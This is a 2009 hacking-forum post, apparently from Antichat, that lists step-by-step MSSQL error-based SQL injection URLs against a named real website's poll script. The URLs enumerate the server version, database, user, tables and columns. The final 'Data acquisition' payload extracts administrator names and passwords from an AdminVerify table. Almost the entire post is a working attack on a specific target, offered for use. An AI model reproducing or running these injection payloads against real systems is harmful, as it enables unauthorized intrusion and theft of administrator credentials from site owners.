02.05.2009, 16:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552
Репутация:
1668
|
|
mssql-inj
version
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=@@version--
db_name
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+db_name())--
system_user
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+system_user)--
tables
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('Poll','AdminVerify','dtproperties','sysconstraints','syssegments'))--
columns of table AdminVerify
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+column_name+from++information_schema.columns+where+table_name='AdminVerify'+and+column_name+not+in+('AdminName','AdminPassword'))--
Data acquisition
Код:
http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+cast(AdminName+as+nvarchar)%2B%27%3A%27%2Bcast(AdminPassword+as+nvarchar)+from+AdminVerify)--
|
|
|